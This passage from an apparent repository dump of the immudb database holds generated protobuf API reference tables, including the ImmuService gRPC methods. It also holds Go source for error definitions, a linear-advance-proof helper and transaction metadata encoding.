name=\"immudb.schema.VerifiableGetRequest\"></a>\n\n### VerifiableGetRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| keyRequest | [KeyRequest](#immudb.schema.KeyRequest) |  | Key to read |\n| proveSinceTx | [uint64](#uint64) |  | When generating the proof, generate consistency proof with state from this transaction |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableReferenceRequest\"></a>\n\n### VerifiableReferenceRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| referenceRequest | [ReferenceRequest](#immudb.schema.ReferenceRequest) |  | Reference data |\n| proveSinceTx | [uint64](#uint64) |  | When generating the proof, generate consistency proof with state from this transaction |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSQLEntry\"></a>\n\n### VerifiableSQLEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sqlEntry | [SQLEntry](#immudb.schema.SQLEntry) |  | Raw row entry data |\n| verifiableTx | [VerifiableTx](#immudb.schema.VerifiableTx) |  | Verifiable transaction of the row |\n| inclusionProof | [InclusionProof](#immudb.schema.InclusionProof) |  | Inclusion proof of the row in the transaction |\n| DatabaseId | [uint32](#uint32) |  | Internal ID of the database (used to validate raw entry values) |\n| TableId | [uint32](#uint32) |  | Internal ID of the table (used to validate raw entry values) |\n| PKIDs | [uint32](#uint32) | repeated | Internal IDs of columns for the primary key (used to validate raw entry values) |\n| ColNamesById | [VerifiableSQLEntry.ColNamesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry) | repeated | Mapping of used column IDs to their names |\n| ColIdsByName | [VerifiableSQLEntry.ColIdsByNameEntry](#immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry) | repeated | Mapping of column names to their IDS |\n| ColTypesById | [VerifiableSQLEntry.ColTypesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry) | repeated | Mapping of column IDs to their types |\n| ColLenById | [VerifiableSQLEntry.ColLenByIdEntry](#immudb.schema.VerifiableSQLEntry.ColLenByIdEntry) | repeated | Mapping of column IDs to their length constraints |\n| MaxColId | [uint32](#uint32) |  | Variable is used to assign unique ids to new columns as they are created |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry\"></a>\n\n### VerifiableSQLEntry.ColIdsByNameEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [string](#string) |  |  |\n| value | [uint32](#uint32) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSQLEntry.ColLenByIdEntry\"></a>\n\n### VerifiableSQLEntry.ColLenByIdEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [uint32](#uint32) |  |  |\n| value | [int32](#int32) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry\"></a>\n\n### VerifiableSQLEntry.ColNamesByIdEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [uint32](#uint32) |  |  |\n| value | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry\"></a>\n\n### VerifiableSQLEntry.ColTypesByIdEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [uint32](#uint32) |  |  |\n| value | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSQLGetRequest\"></a>\n\n### VerifiableSQLGetRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sqlGetRequest | [SQLGetRequest](#immudb.schema.SQLGetRequest) |  | Data of row to query |\n| proveSinceTx | [uint64](#uint64) |  | When generating the proof, generate consistency proof with state from this transaction |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableSetRequest\"></a>\n\n### VerifiableSetRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| setRequest | [SetRequest](#immudb.schema.SetRequest) |  | Keys to set |\n| proveSinceTx | [uint64](#uint64) |  | When generating the proof, generate consistency proof with state from this transaction |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableTx\"></a>\n\n### VerifiableTx\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [Tx](#immudb.schema.Tx) |  | Transaction to verify |\n| dualProof | [DualProof](#immudb.schema.DualProof) |  | Proof for the transaction |\n| signature | [Signature](#immudb.schema.Signature) |  | Signature for the new state value |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableTxRequest\"></a>\n\n### VerifiableTxRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [uint64](#uint64) |  | Transaction ID |\n| proveSinceTx | [uint64](#uint64) |  | When generating the proof, generate consistency proof with state from this transaction |\n| entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) |  | Specification of how to parse entries |\n| sinceTx | [uint64](#uint64) |  | If &gt; 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references |\n| noWait | [bool](#bool) |  | Deprecated: If set to true, do not wait for the indexer to be up to date |\n| keepReferencesUnresolved | [bool](#bool) |  | If set to true, do not resolve references (avoid looking up final values if not needed) |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableTxV2\"></a>\n\n### VerifiableTxV2\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [Tx](#immudb.schema.Tx) |  | Transaction to verify |\n| dualProof | [DualProofV2](#immudb.schema.DualProofV2) |  | Proof for the transaction |\n| signature | [Signature](#immudb.schema.Signature) |  | Signature for the new state value |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableZAddRequest\"></a>\n\n### VerifiableZAddRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| zAddRequest | [ZAddRequest](#immudb.schema.ZAddRequest) |  | Data for new sorted set entry |\n| proveSinceTx | [uint64](#uint64) |  | When generating the proof, generate consistency proof with state from this transaction |\n\n\n\n\n\n\n<a name=\"immudb.schema.ZAddRequest\"></a>\n\n### ZAddRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| set | [bytes](#bytes) |  | Name of the sorted set |\n| score | [double](#double) |  | Score of the new entry |\n| key | [bytes](#bytes) |  | Referenced key |\n| atTx | [uint64](#uint64) |  | If boundRef == true, id of the transaction to bind with the reference |\n| boundRef | [bool](#bool) |  | If true, bind the reference to particular transaction, if false, use the most recent value of the key |\n| noWait | [bool](#bool) |  | If true, do not wait for the indexer to index this write operation |\n\n\n\n\n\n\n<a name=\"immudb.schema.ZEntries\"></a>\n\n### ZEntries\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| entries | [ZEntry](#immudb.schema.ZEntry) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.ZEntry\"></a>\n\n### ZEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| set | [bytes](#bytes) |  | Name of the sorted set |\n| key | [bytes](#bytes) |  | Referenced key |\n| entry | [Entry](#immudb.schema.Entry) |  | Referenced entry |\n| score | [double](#double) |  | Sorted set element&#39;s score |\n| atTx | [uint64](#uint64) |  | At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference |\n\n\n\n\n\n\n<a name=\"immudb.schema.ZScanRequest\"></a>\n\n### ZScanRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| set | [bytes](#bytes) |  | Name of the sorted set |\n| seekKey | [bytes](#bytes) |  | Key to continue the search at |\n| seekScore | [double](#double) |  | Score of the entry to continue the search at |\n| seekAtTx | [uint64](#uint64) |  | AtTx of the entry to continue the search at |\n| inclusiveSeek | [bool](#bool) |  | If true, include the entry given with the `seekXXX` attributes, if false, skip the entry and start after that one |\n| limit | [uint64](#uint64) |  | Maximum number of entries to return, if 0, the default limit will be used |\n| desc | [bool](#bool) |  | If true, scan entries in descending order |\n| minScore | [Score](#immudb.schema.Score) |  | Minimum score of entries to scan |\n| maxScore | [Score](#immudb.schema.Score) |  | Maximum score of entries to scan |\n| sinceTx | [uint64](#uint64) |  | If &gt; 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed |\n| noWait | [bool](#bool) |  | Deprecated: If set to true, do not wait for the indexer to be up to date |\n| offset | [uint64](#uint64) |  | Specify the index of initial entry to be returned by excluding the initial set of entries (alternative to seekXXX attributes) |\n\n\n\n\n\n \n\n\n<a name=\"immudb.schema.EntryTypeAction\"></a>\n\n### EntryTypeAction\n\n\n| Name | Number | Description |\n| ---- | ------ | ----------- |\n| EXCLUDE | 0 | Exclude entries from the result |\n| ONLY_DIGEST | 1 | Provide keys in raw (unparsed) form and only the digest of the value |\n| RAW_VALUE | 2 | Provide keys and values in raw form |\n| RESOLVE | 3 | Provide parsed keys and values and resolve values if needed |\n\n\n\n<a name=\"immudb.schema.PermissionAction\"></a>\n\n### PermissionAction\n\n\n| Name | Number | Description |\n| ---- | ------ | ----------- |\n| GRANT | 0 | Grant permission |\n| REVOKE | 1 | Revoke permission |\n\n\n\n<a name=\"immudb.schema.TxMode\"></a>\n\n### TxMode\n\n\n| Name | Number | Description |\n| ---- | ------ | ----------- |\n| ReadOnly | 0 | Read-only transaction |\n| WriteOnly | 1 | Write-only transaction |\n| ReadWrite | 2 | Read-write transaction |\n\n\n \n\n \n\n\n<a name=\"immudb.schema.ImmuService\"></a>\n\n### ImmuService\nimmudb gRPC &amp; REST service\n\n| Method Name | Request Type | Response Type | Description |\n| ----------- | ------------ | ------------- | ------------|\n| ListUsers | [.google.protobuf.Empty](#google.protobuf.Empty) | [UserList](#immudb.schema.UserList) |  |\n| CreateUser | [CreateUserRequest](#immudb.schema.CreateUserRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| ChangePassword | [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| ChangePermission | [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| ChangeSQLPrivileges | [ChangeSQLPrivilegesRequest](#immudb.schema.ChangeSQLPrivilegesRequest) | [ChangeSQLPrivilegesResponse](#immudb.schema.ChangeSQLPrivilegesResponse) |  |\n| SetActiveUser | [SetActiveUserRequest](#immudb.schema.SetActiveUserRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| UpdateAuthConfig | [AuthConfig](#immudb.schema.AuthConfig) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| UpdateMTLSConfig | [MTLSConfig](#immudb.schema.MTLSConfig) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| OpenSession | [OpenSessionRequest](#immudb.schema.OpenSessionRequest) | [OpenSessionResponse](#immudb.schema.OpenSessionResponse) |  |\n| CloseSession | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| KeepAlive | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| NewTx | [NewTxRequest](#immudb.schema.NewTxRequest) | [NewTxResponse](#immudb.schema.NewTxResponse) |  |\n| Commit | [.google.protobuf.Empty](#google.protobuf.Empty) | [CommittedSQLTx](#immudb.schema.CommittedSQLTx) |  |\n| Rollback | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| TxSQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| TxSQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream |  |\n| Login | [LoginRequest](#immudb.schema.LoginRequest) | [LoginResponse](#immudb.schema.LoginResponse) |  |\n| Logout | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| Set | [SetRequest](#immudb.schema.SetRequest) | [TxHeader](#immudb.schema.TxHeader) |  |\n| VerifiableSet | [VerifiableSetRequest](#immudb.schema.VerifiableSetRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) |  |\n| Get | [KeyRequest](#immudb.schema.KeyRequest) | [Entry](#immudb.schema.Entry) |  |\n| VerifiableGet | [VerifiableGetRequest](#immudb.schema.VerifiableGetRequest) | [VerifiableEntry](#immudb.schema.VerifiableEntry) |  |\n| Delete | [DeleteKeysRequest](#immudb.schema.DeleteKeysRequest) | [TxHeader](#immudb.schema.TxHeader) |  |\n| GetAll | [KeyListRequest](#immudb.schema.KeyListRequest) | [Entries](#immudb.schema.Entries) |  |\n| ExecAll | [ExecAllRequest](#immudb.schema.ExecAllRequest) | [TxHeader](#immudb.schema.TxHeader) |  |\n| Scan | [ScanRequest](#immudb.schema.ScanRequest) | [Entries](#immudb.schema.Entries) |  |\n| Count | [KeyPrefix](#immudb.schema.KeyPrefix) | [EntryCount](#immudb.schema.EntryCount) | NOT YET SUPPORTED |\n| CountAll | [.google.protobuf.Empty](#google.protobuf.Empty) | [EntryCount](#immudb.schema.EntryCount) | NOT YET SUPPORTED |\n| TxById | [TxRequest](#immudb.schema.TxRequest) | [Tx](#immudb.schema.Tx) |  |\n| VerifiableTxById | [VerifiableTxRequest](#immudb.schema.VerifiableTxRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) |  |\n| TxScan | [TxScanRequest](#immudb.schema.TxScanRequest) | [TxList](#immudb.schema.TxList) |  |\n| History | [HistoryRequest](#immudb.schema.HistoryRequest) | [Entries](#immudb.schema.Entries) |  |\n| ServerInfo | [ServerInfoRequest](#immudb.schema.ServerInfoRequest) | [ServerInfoResponse](#immudb.schema.ServerInfoResponse) | ServerInfo returns information about the server instance. ServerInfoRequest is defined for future extensions. |\n| Health | [.google.protobuf.Empty](#google.protobuf.Empty) | [HealthResponse](#immudb.schema.HealthResponse) | DEPRECATED: Use ServerInfo |\n| DatabaseHealth | [.google.protobuf.Empty](#google.protobuf.Empty) | [DatabaseHealthResponse](#immudb.schema.DatabaseHealthResponse) |  |\n| CurrentState | [.google.protobuf.Empty](#google.protobuf.Empty) | [ImmutableState](#immudb.schema.ImmutableState) |  |\n| SetReference | [ReferenceRequest](#immudb.schema.ReferenceRequest) | [TxHeader](#immudb.schema.TxHeader) |  |\n| VerifiableSetReference | [VerifiableReferenceRequest](#immudb.schema.VerifiableReferenceRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) |  |\n| ZAdd | [ZAddRequest](#immudb.schema.ZAddRequest) | [TxHeader](#immudb.schema.TxHeader) |  |\n| VerifiableZAdd | [VerifiableZAddRequest](#immudb.schema.VerifiableZAddRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) |  |\n| ZScan | [ZScanRequest](#immudb.schema.ZScanRequest) | [ZEntries](#immudb.schema.ZEntries) |  |\n| CreateDatabase | [Database](#immudb.schema.Database) | [.google.protobuf.Empty](#google.protobuf.Empty) | DEPRECATED: Use CreateDatabaseV2 |\n| CreateDatabaseWith | [DatabaseSettings](#immudb.schema.DatabaseSettings) | [.google.protobuf.Empty](#google.protobuf.Empty) | DEPRECATED: Use CreateDatabaseV2 |\n| CreateDatabaseV2 | [CreateDatabaseRequest](#immudb.schema.CreateDatabaseRequest) | [CreateDatabaseResponse](#immudb.schema.CreateDatabaseResponse) |  |\n| LoadDatabase | [LoadDatabaseRequest](#immudb.schema.LoadDatabaseRequest) | [LoadDatabaseResponse](#immudb.schema.LoadDatabaseResponse) |  |\n| UnloadDatabase | [UnloadDatabaseRequest](#immudb.schema.UnloadDatabaseRequest) | [UnloadDatabaseResponse](#immudb.schema.UnloadDatabaseResponse) |  |\n| DeleteDatabase | [DeleteDatabaseRequest](#immudb.schema.DeleteDatabaseRequest) | [DeleteDatabaseResponse](#immudb.schema.DeleteDatabaseResponse) |  |\n| DatabaseList | [.google.protobuf.Empty](#google.protobuf.Empty) | [DatabaseListResponse](#immudb.schema.DatabaseListResponse) | DEPRECATED: Use DatabaseListV2 |\n| DatabaseListV2 | [DatabaseListRequestV2](#immudb.schema.DatabaseListRequestV2) | [DatabaseListResponseV2](#immudb.schema.DatabaseListResponseV2) |  |\n| UseDatabase | [Database](#immudb.schema.Database) | [UseDatabaseReply](#immudb.schema.UseDatabaseReply) |  |\n| UpdateDatabase | [DatabaseSettings](#immudb.schema.DatabaseSettings) | [.google.protobuf.Empty](#google.protobuf.Empty) | DEPRECATED: Use UpdateDatabaseV2 |\n| UpdateDatabaseV2 | [UpdateDatabaseRequest](#immudb.schema.UpdateDatabaseRequest) | [UpdateDatabaseResponse](#immudb.schema.UpdateDatabaseResponse) |  |\n| GetDatabaseSettings | [.google.protobuf.Empty](#google.protobuf.Empty) | [DatabaseSettings](#immudb.schema.DatabaseSettings) | DEPRECATED: Use GetDatabaseSettingsV2 |\n| GetDatabaseSettingsV2 | [DatabaseSettingsRequest](#immudb.schema.DatabaseSettingsRequest) | [DatabaseSettingsResponse](#immudb.schema.DatabaseSettingsResponse) |  |\n| FlushIndex | [FlushIndexRequest](#immudb.schema.FlushIndexRequest) | [FlushIndexResponse](#immudb.schema.FlushIndexResponse) |  |\n| CompactIndex | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) |  |\n| streamGet | [KeyRequest](#immudb.schema.KeyRequest) | [Chunk](#immudb.schema.Chunk) stream | Streams |\n| streamSet | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) |  |\n| streamVerifiableGet | [VerifiableGetRequest](#immudb.schema.VerifiableGetRequest) | [Chunk](#immudb.schema.Chunk) stream |  |\n| streamVerifiableSet | [Chunk](#immudb.schema.Chunk) stream | [VerifiableTx](#immudb.schema.VerifiableTx) |  |\n| streamScan | [ScanRequest](#immudb.schema.ScanRequest) | [Chunk](#immudb.schema.Chunk) stream |  |\n| streamZScan | [ZScanRequest](#immudb.schema.ZScanRequest) | [Chunk](#immudb.schema.Chunk) stream |  |\n| streamHistory | [HistoryRequest](#immudb.schema.HistoryRequest) | [Chunk](#immudb.schema.Chunk) stream |  |\n| streamExecAll | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) |  |\n| exportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) | [Chunk](#immudb.schema.Chunk) stream | Replication |\n| replicateTx | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) |  |\n| streamExportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) stream | [Chunk](#immudb.schema.Chunk) stream |  |\n| SQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [SQLExecResult](#immudb.schema.SQLExecResult) |  |\n| UnarySQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | For backward compatibility with the grpc-gateway API |\n| SQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream |  |\n| ListTables | [.google.protobuf.Empty](#google.protobuf.Empty) | [SQLQueryResult](#immudb.schema.SQLQueryResult) |  |\n| DescribeTable | [Table](#immudb.schema.Table) | [SQLQueryResult](#immudb.schema.SQLQueryResult) |  |\n| VerifiableSQLGet | [VerifiableSQLGetRequest](#immudb.schema.VerifiableSQLGetRequest) | [VerifiableSQLEntry](#immudb.schema.VerifiableSQLEntry) |  |\n| TruncateDatabase | [TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest) | [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse) |  |\n\n \n\n\n\n## Scalar Value Types\n\n| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby |\n| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- |\n| <a name=\"double\" /> double |  | double | double | float | float64 | double | float | Float |\n| <a name=\"float\" /> float |  | float | float | float | float32 | float | float | Float |\n| <a name=\"int32\" /> int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |\n| <a name=\"int64\" /> int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum |\n| <a name=\"uint32\" /> uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) |\n| <a name=\"uint64\" /> uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) |\n| <a name=\"sint32\" /> sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |\n| <a name=\"sint64\" /> sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum |\n| <a name=\"fixed32\" /> fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) |\n| <a name=\"fixed64\" /> fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum |\n| <a name=\"sfixed32\" /> sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) |\n| <a name=\"sfixed64\" /> sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum |\n| <a name=\"bool\" /> bool |  | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass |\n| <a name=\"string\" /> string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) |\n| <a name=\"bytes\" /> bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) |\n\n"
  },
  {
    "path": "pkg/api/schema/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nvar (\n\tErrEmptySet                         = status.New(codes.InvalidArgument, \"empty set\").Err()\n\tErrDuplicatedKeysNotSupported       = status.New(codes.InvalidArgument, \"duplicated keys are not supported in single batch transaction\").Err()\n\tErrDuplicatedZAddNotSupported       = status.New(codes.InvalidArgument, \"duplicated index inside zAdd insertions are not supported in single batch transaction\").Err()\n\tErrDuplicatedReferencesNotSupported = status.New(codes.InvalidArgument, \"duplicated references insertions are not supported in single batch transaction\").Err()\n)\n"
  },
  {
    "path": "pkg/api/schema/linear_inclusion_enhancer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nfunc minUint64(a, b uint64) uint64 {\n\tif a < b {\n\t\treturn a\n\t}\n\treturn b\n}\n\nfunc FillMissingLinearAdvanceProof(\n\tctx context.Context,\n\tproof *store.DualProof,\n\tsourceTxID uint64,\n\ttargetTxID uint64,\n\timc ImmuServiceClient,\n) error {\n\tif proof.LinearAdvanceProof != nil {\n\t\t// The proof is already present, no need to fill it in\n\t\treturn nil\n\t}\n\n\t// Early preconditions that indicate a broken proof anyway\n\tif proof == nil ||\n\t\tproof.SourceTxHeader == nil ||\n\t\tproof.TargetTxHeader == nil ||\n\t\tproof.SourceTxHeader.ID != sourceTxID ||\n\t\tproof.TargetTxHeader.ID != targetTxID {\n\t\treturn nil\n\t}\n\n\t// Find the range startTxID / endTxID to fill with linear inclusion proof\n\tstartTxID := proof.SourceTxHeader.BlTxID\n\tendTxID := minUint64(sourceTxID, proof.TargetTxHeader.BlTxID)\n\n\tif endTxID <= startTxID+1 {\n\t\t// Linear Advance Proof is not needed\n\t\treturn nil\n\t}\n\n\tlAdvProof := &store.LinearAdvanceProof{\n\t\tInclusionProofs: make([][][sha256.Size]byte, endTxID-startTxID-1),\n\t}\n\n\t// Fill in inclusion proofs for subsequent transactions\n\tfor txID := startTxID + 1; txID < endTxID; txID++ {\n\t\tpartialProof, err := imc.VerifiableTxById(ctx, &VerifiableTxRequest{\n\t\t\tTx:           targetTxID,\n\t\t\tProveSinceTx: txID,\n\t\t\t// Add entries spec to exclude any entries\n\t\t\tEntriesSpec: &EntriesSpec{KvEntriesSpec: &EntryTypeSpec{Action: EntryTypeAction_EXCLUDE}},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlAdvProof.InclusionProofs[txID-startTxID-1] = DigestsFromProto(partialProof.DualProof.InclusionProof)\n\t}\n\n\t// Get the linear proof for the whole chain\n\tpartialProof, err := imc.VerifiableTxById(ctx, &VerifiableTxRequest{\n\t\tTx:           endTxID,\n\t\tProveSinceTx: startTxID + 1,\n\t\t// Add entries spec to exclude any entries\n\t\tEntriesSpec: &EntriesSpec{KvEntriesSpec: &EntryTypeSpec{Action: EntryTypeAction_EXCLUDE}},\n\t})\n\tif err != nil {\n\t\t// Note: We don't check whether the proof returned from the server is correct here.\n\t\t// If there's any inconsistency, the proof validation will fail detecting incorrect\n\t\t// response from the server.\n\t\treturn err\n\t}\n\tlAdvProof.LinearProofTerms = DigestsFromProto(partialProof.DualProof.LinearProof.Terms)\n\n\tproof.LinearAdvanceProof = lAdvProof\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/api/schema/metadata.go",
    "content": "package schema\n\nimport (\n\t\"context\"\n\t\"errors\"\n)\n\nconst maxMetadataLen = 256\n\nvar (\n\tErrEmptyMetadataKey   = errors.New(\"metadata key cannot be empty\")\n\tErrEmptyMetadataValue = errors.New(\"metadata value cannot be empty\")\n\tErrMetadataTooLarge   = errors.New(\"metadata exceeds maximum size\")\n\tErrCorruptedMetadata  = errors.New(\"corrupted metadata\")\n)\n\nconst (\n\tUserRequestMetadataKey = \"usr\"\n\tIpRequestMetadataKey   = \"ip\"\n)\n\ntype Metadata map[string]string\n\nfunc (m Metadata) Marshal() ([]byte, error) {\n\tif err := m.validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar data [maxMetadataLen]byte\n\n\toff := 0\n\tfor k, v := range m {\n\t\tdata[off] = byte(len(k) - 1)\n\t\tdata[off+1] = byte(len(v) - 1)\n\n\t\toff += 2\n\t\tcopy(data[off:], []byte(k))\n\t\toff += len(k)\n\n\t\tcopy(data[off:], []byte(v))\n\t\toff += len(v)\n\t}\n\treturn data[:off], nil\n}\n\nfunc (m Metadata) validate() error {\n\tsize := 0\n\tfor k, v := range m {\n\t\tif len(k) == 0 {\n\t\t\treturn ErrEmptyMetadataKey\n\t\t}\n\n\t\tif len(v) == 0 {\n\t\t\treturn ErrEmptyMetadataValue\n\t\t}\n\n\t\tsize += len(k) + len(v) + 2\n\n\t\tif size > maxMetadataLen {\n\t\t\treturn ErrMetadataTooLarge\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m Metadata) Unmarshal(data []byte) error {\n\toff := 0\n\tfor off <= len(data)-2 {\n\t\tkeySize := int(data[off]) + 1\n\t\tvalueSize := int(data[off+1]) + 1\n\n\t\toff += 2\n\n\t\tif off+keySize+valueSize > len(data) {\n\t\t\treturn ErrCorruptedMetadata\n\t\t}\n\n\t\tm[string(data[off:off+keySize])] = string(data[off+keySize : off+keySize+valueSize])\n\n\t\toff += keySize + valueSize\n\t}\n\n\tif off != len(data) {\n\t\treturn ErrCorruptedMetadata\n\t}\n\treturn nil\n}\n\ntype metadataKey struct{}\n\nfunc ContextWithMetadata(ctx context.Context, md Metadata) context.Context {\n\treturn context.WithValue(ctx, metadataKey{}, md)\n}\n\nfunc MetadataFromContext(ctx context.Context) Metadata {\n\tmd, ok := ctx.Value(metadataKey{}).(Metadata)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn md\n}\n"
  },
  {
    "path": "pkg/api/schema/metadata_test.go",
